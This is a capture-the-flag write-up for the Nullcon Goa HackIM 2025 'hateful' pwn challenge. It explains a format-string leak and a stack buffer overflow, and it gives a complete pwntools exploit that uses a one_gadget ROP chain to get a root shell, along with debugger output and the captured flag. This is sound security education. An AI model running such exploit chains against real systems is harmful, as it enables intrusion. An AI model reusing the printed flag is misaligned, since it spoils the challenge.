hateful

hateful
Photo from https://github.com/david942j/one_gadget

This post is a write-up for the pwn.hateful challenge in Nullcon Goa HackIM 2025 CTF.

root@72f9eb9e3ebc:/chal/NULLCON/hateful# ./ld-linux-x86-64.so.2 --library-path . ./hateful
My Boss is EVIL!!! I hate my Boss!!! These are things you really want to say to your Boss don't you? well we can do that for you! send us the message you want to send your Boss and we will forward it to him :)

So? are you onboard? (yay/nay)
>> yay
We are pleased that you trust our service!
please provide your bosses email!
>> %p%p%p%p%p
email provided: 0x7ffeeaf30b30(nil)(nil)0x4020340x7fadc2321a80
now please provide the message!
AAAAAAAAAA
Got it! we will send the message for him later!
Well now all you have to do is wait ;)

We need to pop a shell for this pwn challenge. Let's directly open the binary file hateful with Binary Ninja to inspect the High-Level IL.

hateful.png

We can discover the following vulnerabilities:

  • The code printf(format: &data_4020a) at line 0x401210 in the send_message function has a format string vulnerability. The format string is directly passed to printf without providing other arguments, which enables us to use %p to print values on the stack and leak information from program memory, including register values.
  • The code void buf and fgets(&buf, n: 0x1000, fp: stdin) at line 0x40128a in the send_message function has a buffer overflow vulnerability. This segment declares a local variable buf without explicitly specifying its size, starting from $rbp-0x3f0 in the send_message function stack, and a fgets call to read user input with a size limit of 0x1000 into the buf. These factors enable us to input with a size that exceeds buf's actual size to overwrite return address to execute customized ROP chain.

Thus, this is obviously a challenge of buffer overflow followed by ROPping. Our idea is:

  1. Use the command gdb -q --args ./ld-linux-x86-64.so.2 --library-path . ./hateful to debug the binary file hateful.

  2. Make the program to call printf("%p%p%p%p%p") to print out five values on the stack. The pwntools debug view is as follows.

    please provide your bosses email!                    
    >>                                                   
    [DEBUG] Sent 0xb bytes:                              
        b'%p%p%p%p%p\n'                                  
    [DEBUG] Received 0x10 bytes:                         
        b'email provided: '                              
    email provided:                                      
    [DEBUG] Received 0x2e bytes:                         
        b'0x7fff15623200(nil)(nil)0x4020340x7fc0651eaa80'
    

    The gdb debug view is as follows, which shows that the first printed value is a stack address and the last printed value is a glibc address.

    (remote) gef➤  vmmap 0x7fff15623200
    [ Legend:  Code | Heap | Stack ]
    Start              End                Offset             Perm Path
    0x00007fff15607000 0x00007fff15628000 0x0000000000000000 rw- [stack]
    (remote) gef➤  vmmap 0x7fc0651eaa80
    [ Legend:  Code | Heap | Stack ]
    Start              End                Offset             Perm Path
    0x00007fc0651ea000 0x00007fc0651ec000 0x00000000001d2000 rw- /chal/NULLCON/hateful/libc.so.6
    
  3. Acquire the local variable buf starting address through p/x $rbp-0x3f0. Calculate the offset between the leak stack address and buf starting address, which is 0x2190. This is used to overwrite the __saved_rbp in the send_message function stack. It should be noted that we can calculate any stack address to overwrite the rbp that ensures rbp-0x38 is writable, which is one of our one_gadget constraint that must be satisfied (shown in 5).

  4. Acquire the glibc base address 0x00007fc065018000 through vmmap. Calculate the offset between the leak glibc address and glibc base address, which is 0x1d2a80. This is used to calculate addresses of multiple gadgets in glibc.

  5. Retrieve the one_gadget from the provided glibc file. The output is as follows.

    root@72f9eb9e3ebc:/chal/NULLCON/hateful# one_gadget libc.so.6
    0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
    constraints:
      address rsp+0x60 is writable
      rsp & 0xf == 0
      rax == NULL || {"sh", rax, r12, NULL} is a valid argv
      rbx == NULL || (u16)[rbx] == NULL
    
    0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
    constraints:
      address rsp+0x60 is writable
      rsp & 0xf == 0
      rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
      rbx == NULL || (u16)[rbx] == NULL
    
    0xd511f execve("/bin/sh", rbp-0x40, r13)
    constraints:
      address rbp-0x38 is writable
      rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
      [r13] == NULL || r13 == NULL || r13 is a valid envp
    

    We choose execve("/bin/sh", rbp-0x40, r13) with an offset of 0xd511f to be our one_gadget to pop a shell.

  6. Form an ROP chain to pop a shell. This is used to overwrite from the __return_addr in the send_message function stack. According to the one_gadget constraints, rdi and r13 registers have to be NULL. Our ROP chain is as follows.

    chain = [
        glibc_r.rdi.address + glibc_base_addr,  # pop rdi; ret
        0x0,    # NULL
        glibc_r.r13.address + glibc_base_addr,  # pop r13; ret
        0x0,    # NULL
        0xd511f + glibc_base_addr  # one gadget
    ]
    
  7. Send the payload with a 0x3f0 padding, the rbp-0x38 writable stack address to overwrite the __saved_rbp, and the ROP chain using the chosen one_gadget to pop a shell. The pwntools debug view is as follows.

    now please provide the message!                                                        
                                                                                           
    [DEBUG] Sent 0x421 bytes:                                                              
        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *                                                                                  
        000003f0  30 64 cc 61  fc 7f 00 00  e5 c7 00 7b  5d 7f 00 00  │0d·a│····│···{│]···│
        00000400  00 00 00 00  00 00 00 00  30 e8 00 7b  5d 7f 00 00  │····│····│0··{│]···│
        00000410  00 00 00 00  00 00 00 00  1f a1 0b 7b  5d 7f 00 00  │····│····│···{│]···│
        00000420  0a                                                  │·│                  
        00000421                                                                           
    [*] Switching to interactive mode                                                      
    [DEBUG] Received 0x30 bytes:                                                           
        b'Got it! we will send the message for him later!\n'                               
    Got it! we will send the message for him later!                                        
    $ whoami                                                                               
    [DEBUG] Sent 0x7 bytes:                                                                
        b'whoami\n'                                                                        
    [DEBUG] Received 0x1b bytes:                                                           
        b'Detaching from process 512\n'                                                    
    Detaching from process 512                                                             
    [DEBUG] Received 0x5 bytes:                                                            
        b'root\n'                                                                          
    root                                                                                   
    

The script using Pwntools to solve the challenge is shown below.

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-f']

CHALLENGE = "./hateful"
p = gdb.debug(['./ld-linux-x86-64.so.2', '--library-path', '.', CHALLENGE], '''
    file hateful
    ni
    ni
    b *(send_message+111)
    b *(send_message+183)
    continue
''')

# Stage 1: Leak stack address and glibc base address
print(p.recvuntil(b">> ").decode())
payload = b"yay"
p.sendline(payload)
print(p.recvuntil(b">> ").decode())
payload = b"%p%p%p%p%p"
p.sendline(payload)
print(p.recvuntil(b"email provided: ").decode())
addrs = p.recvuntil(b"\n").decode().strip()
stack_addr = int(addrs[0:14], 16) + 0x2190
glibc_base_addr = int(addrs[-14:], 16) - 0x1d2a80
print(f"stack_addr: {hex(stack_addr)}")
print(f"glibc_base_addr: {hex(glibc_base_addr)}")

# Stage 2: Form ROP chain with one gadget and send payload
glibc_r = ROP("libc.so.6")
chain = [
    glibc_r.rdi.address + glibc_base_addr,  # pop rdi; ret
    0x0,    # NULL
    glibc_r.r13.address + glibc_base_addr,  # pop r13; ret
    0x0,    # NULL
    0xd511f + glibc_base_addr  # one gadget
]
print(p.recvuntil(b"now please provide the message!\n").decode())
payload = b"A" * 0x3f0 + p64(stack_addr) + b"".join([p64(c) for c in chain])
p.sendline(payload)

p.interactive()

The captured flag is ENO{W3_4R3_50RRY_TH4T_TH3_M3554G3_W45_N0T_53NT_T0_TH3_R1GHT_3M41L}.